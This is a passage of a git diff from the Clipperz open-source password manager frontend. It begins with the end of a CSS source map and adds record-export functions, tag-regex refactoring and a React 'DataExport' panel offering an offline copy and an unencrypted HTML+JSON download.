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", +"sources": ["file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/reset.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/fonts.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/clipperz-font/dejavu.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/mixin.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/overlay.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/layout.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/behavior.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/parameters.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/flex.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/palette.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/tagEditor.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/loadingPage.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/loginPage.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/registrationPage.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/selectionPanel.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/settingsPanel.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/accountStatus.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/card.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/dialogBox.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/clipperz.scss","file:///home/dario/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/sizes.scss"], "names": [], "file": "clipperz.css" } \ No newline at end of file diff --git a/frontend/delta/fonts/icons/logo.svg b/frontend/delta/fonts/icons/logo.svg new file mode 100644 index 0000000..bd3457c --- /dev/null +++ b/frontend/delta/fonts/icons/logo.svg @@ -0,0 +1,6 @@ + + + SVG generated by Lineform + + + \ No newline at end of file diff --git a/frontend/delta/html/index_template.html b/frontend/delta/html/index_template.html index 6f6c166..4514f08 100644 --- a/frontend/delta/html/index_template.html +++ b/frontend/delta/html/index_template.html @@ -85,6 +85,7 @@ Clipperz_normalizedNewLine = '\x0d\x0a'; + loading diff --git a/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js b/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js index b8f7bc5..482c13d 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js @@ -233,6 +233,8 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.DirectLogin, Object, { 'serializedData': function () { return Clipperz.Async.collectResults("DirectLogin.serializedData", { + 'favicon': MochiKit.Base.method(this,'favicon'), + 'label': MochiKit.Base.method(this,'label'), 'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'), 'formData': MochiKit.Base.method(this, 'getValue', 'formData'), 'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'), diff --git a/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js b/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js index 09efa97..db91fad 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js @@ -316,6 +316,36 @@ console.log("Record.Version.hasPendingChanges"); * / }, */ + + //========================================================================= + + // TODO: this function may mix up the order of the fields + 'exportFields': function() { + var deferredResult; + var fields; + + deferredResult = new Clipperz.Async.Deferred('Record.Version.export', {trace:false}); + deferredResult.addMethod(this,'fields'); + deferredResult.addCallback(MochiKit.Base.values); + deferredResult.addCallback(MochiKit.Base.map, function(fieldIn) { + return fieldIn.content(); + }); + deferredResult.addCallback(Clipperz.Async.collectAll); + deferredResult.addCallback(function(listIn) { +// return listIn.reduce(function(result, field) { + return MochiKit.Iter.reduce(function(result, field) { + var ref = field.reference; + result[ref] = field; + delete result[ref].reference; + return result; + }, listIn, {}); + }); + + deferredResult.callback(); + + return deferredResult; + }, + //========================================================================= __syntaxFix__: "syntax fix" }); diff --git a/frontend/delta/js/Clipperz/PM/DataModel/Record.js b/frontend/delta/js/Clipperz/PM/DataModel/Record.js index 30ac2dc..286218b 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/Record.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/Record.js @@ -45,9 +45,7 @@ Clipperz.PM.DataModel.Record = function(args) { this._createNewDirectLoginFunction = args.createNewDirectLoginFunction || null; this._tags = []; - this._directLogins = {}; - this._versions = {}; this._currentRecordVersion = null; @@ -163,16 +161,20 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt //............................................................................ - 'tagRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); }, - 'trimSpacesRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); }, - 'filterOutTags': function (aValue) { return Clipperz.PM.DataModel.Record.filterOutTags(aValue); }, + 'extractLabelFromFullLabel': function (aValue) { + return Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aValue); + }, + + 'extractTagsFromFullLabel': function (aLabel) { + return Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aLabel); + }, //............................................................................ 'label': function () { return Clipperz.Async.callbacks("Record.label", [ MochiKit.Base.method(this, 'fullLabel'), - MochiKit.Base.method(this, 'filterOutTags') + MochiKit.Base.method(this, 'extractLabelFromFullLabel') ], {trace:false}); }, @@ -193,22 +195,6 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt //......................................................................... - 'extractTagsFromFullLabel': function (aLabel) { - var tagRegEx; - var result; - var match; - - result = {}; - tagRegEx = this.tagRegExp(); - match = tagRegEx.exec(aLabel); - while (match != null) { - result[match[1]] = true; - match = tagRegEx.exec(aLabel); - } - - return result; - }, - 'tags': function () { return Clipperz.Async.callbacks("Record.label", [ MochiKit.Base.method(this, 'fullLabel'), @@ -1163,6 +1149,64 @@ console.log("Record.hasPendingChanges RESULT", result); ], {trace:false}); }, + //========================================================================= + + 'exportDirectLogins': function() { + var result; + var directLoginsObject = this.directLogins(); + + if (MochiKit.Base.keys(directLoginsObject).length == 0) { + result = {}; + } else { + var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) { + previous[current] = MochiKit.Base.method( directLoginsObject[current], 'serializedData' ); + return previous; + }, {}); + + result = Clipperz.Async.collectResults("Record.exportDirectLogins", callbackObject,{trace:false})(); + } + + return result; + }, + + 'export': function() { + var deferredResult; + var label; + var data; + var currentVersion; + var directLogins; + var currentVersionObject; + + data = {}; + currentVersion = {}; + directLogins = {}; + deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false}); + deferredResult.addMethod(this, 'getCurrentRecordVersion'); + deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; }) + deferredResult.addMethod(this, 'fullLabel'); + deferredResult.addMethod(this, function(labelIn) {label = labelIn}); + deferredResult.addMethod(this, 'exportDirectLogins'); + deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; }); + deferredResult.addCallback(function() { return currentVersionObject.getKey(); }), +// deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; }); + deferredResult.addMethod(this, 'notes'); + deferredResult.addMethod(this, function(notesIn) { data['notes'] = notesIn; }); +// deferredResult.addMethod(this, function() { currentVersion['reference'] = this.currentVersionReference(); }); + deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }), + deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; }); + deferredResult.addMethod(this, function() { + return { + 'label': label, + 'data': data, + 'currentVersion': currentVersion + }; + }); + + deferredResult.callback(); + + return deferredResult; + }, + //========================================================================= __syntaxFix__: "syntax fix" }); @@ -1203,20 +1247,33 @@ Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) { return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i'); }; -Clipperz.PM.DataModel.Record.tagRegExp = function () { - return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g'); -}; -Clipperz.PM.DataModel.Record.trimSpacesRegExp = function () { - return new RegExp('^\\s+|\\s+$', 'g'); -}; -Clipperz.PM.DataModel.Record.filterOutTags = function (aValue) { +Clipperz.PM.DataModel.Record.tagRegExp = new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g'); +Clipperz.PM.DataModel.Record.trimSpacesRegExp = new RegExp('^\\s+|\\s+$', 'g'); + +Clipperz.PM.DataModel.Record.extractLabelFromFullLabel = function (aValue) { var value; value = aValue; - value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp(), ''); - value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp(), ''); + value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp, ''); + value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp, ''); return value; }; + +Clipperz.PM.DataModel.Record.extractTagsFromFullLabel = function (aLabel) { + var tagRegEx; + var result; + var match; + + result = {}; + tagRegEx = Clipperz.PM.DataModel.Record.tagRegExp; + match = tagRegEx.exec(aLabel); + while (match != null) { + result[match[1]] = true; + match = tagRegEx.exec(aLabel); + } + + return result; +}; diff --git a/frontend/delta/js/Clipperz/PM/DataModel/User.js b/frontend/delta/js/Clipperz/PM/DataModel/User.js index 365dccf..7b10a2e 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/User.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/User.js @@ -244,11 +244,7 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.User, Object, { return deferredResult; }, - // TODO: test (taken straight from /beta) 'deleteAccount': function() { - -console.log("deleting account from user"); - var deferredResult; deferredResult = new MochiKit.Async.Deferred("User.deleteAccount", {trace: true}); @@ -257,15 +253,9 @@ console.log("deleting account from user"); deferredResult.callback(); return deferredResult; - - }, - // TODO: check (I have half of an idea what i'm doing) 'resetAllLocalData': function() { - -console.log("resetting all local data..."); - var deferredResult; deferredResult = new MochiKit.Async.Deferred("User.resetAllLocalData", {trace: true}); diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js new file mode 100644 index 0000000..fb2ceb4 --- /dev/null +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js @@ -0,0 +1,110 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +"use strict"; +Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures'); + +Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({ + + propTypes: { +// featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired, +// 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired + }, +/* + jsonExport: function () { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'json'); + }, + + htmlExport: function () { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'html'); + }, +*/ + + isFeatureEnabled: function (aValue) { + return (this.props['features'].indexOf(aValue) > -1); + }, + + handleDownloadOfflineCopyLink: function (anEvent) { + if (this.isFeatureEnabled('OFFLINE_COPY')) { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadOfflineCopy'); + } + }, + + handleExportLink: function () { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadExport'); + }, + + + //========================================================================= + + render: function () { + return React.DOM.div({className:'extraFeature devicePIN'}, [ + React.DOM.h1({}, "Export"), + React.DOM.div({'className': 'content'}, [ + React.DOM.ul({}, [ + React.DOM.li({}, [ + React.DOM.h3({}, "Offline copy"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "Download a read-only portable version of Clipperz. Very convenient when no Internet connection is available."), + React.DOM.p({}, "An offline copy is just a single HTML file that contains both the whole Clipperz web application and your encrypted data."), + React.DOM.p({}, "It is as secure as the hosted Clipperz service since they both share the same code and security architecture.") + ]), + React.DOM.a({'className':'button', 'onClick':this.handleDownloadOfflineCopyLink}, "download offline copy") + ]), + React.DOM.li({}, [ + React.DOM.h3({}, "HTML + JSON"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "Download a printer-friendly HTML file that lists the content of all your cards."), + React.DOM.p({}, "This same file also contains all your data in JSON format."), + React.DOM.p({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file.") + ]), + React.DOM.a({'className':'button', 'onClick':this.handleExportLink}, "download HTML+JSON") + ]), +/* + React.DOM.li({}, [ + React.DOM.h3({}, "Printing"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "Click on the button below to open a new window displaying all your cards in a printable format."), + React.DOM.p({}, "If you are going to print for backup purposes, please consider the safer option provided by the “offline copy”.") + ]), + React.DOM.a({'className':'button', 'onClick':this.htmlExport}, "HTML") + ]), + React.DOM.li({}, [ + React.DOM.h3({}, "Exporting to JSON"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "JSON enables a “lossless” export of your cards. All the information will be preserved, including direct login configurations."), + React.DOM.p({}, "This custom format it’s quite convenient if you need to move some of all of your cards to a different Clipperz account. Or if you want to restore a card that has been accidentally deleted."), + React.DOM.p({}, "Click on the button below to start the export process.") + ]), + React.DOM.a({'className':'button', 'onClick':this.jsonExport}, "JSON"), + ]) +*/ + ]) + ]) + ]); + }, + + //========================================================================= +}); + +Clipperz.PM.UI.Components.ExtraFeatures.DataExport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass); diff --git 